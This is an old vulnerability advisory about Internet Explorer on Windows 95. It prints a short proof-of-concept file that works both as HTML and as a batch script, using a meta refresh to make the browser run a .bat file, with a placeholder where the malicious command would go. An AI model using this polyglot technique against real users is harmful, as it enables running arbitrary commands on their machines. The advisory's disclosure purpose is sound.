DATE:  
COMMAND                                            SOURCE: 
                                                   AUTHOR: 
  IE


SYSTEMS AFFECTED

  Windows 95

  

PROBLEM


    The following  was posted  to BoS.   This HTML  script should make

    MSIE run any .bat file.  Here comes script.



        http://foo.com/blah.bat



        -------------------------

        @echo "<html>" > nul

        @echo Insert Evil Command of the Week here!

        exit

        <meta http-equiv="refresh" content="0; url=w/blah.bat">

        @echo "</html>" > nul





EXPLOIT

  

SOLUTION


    ??? (use something else, I use lynx)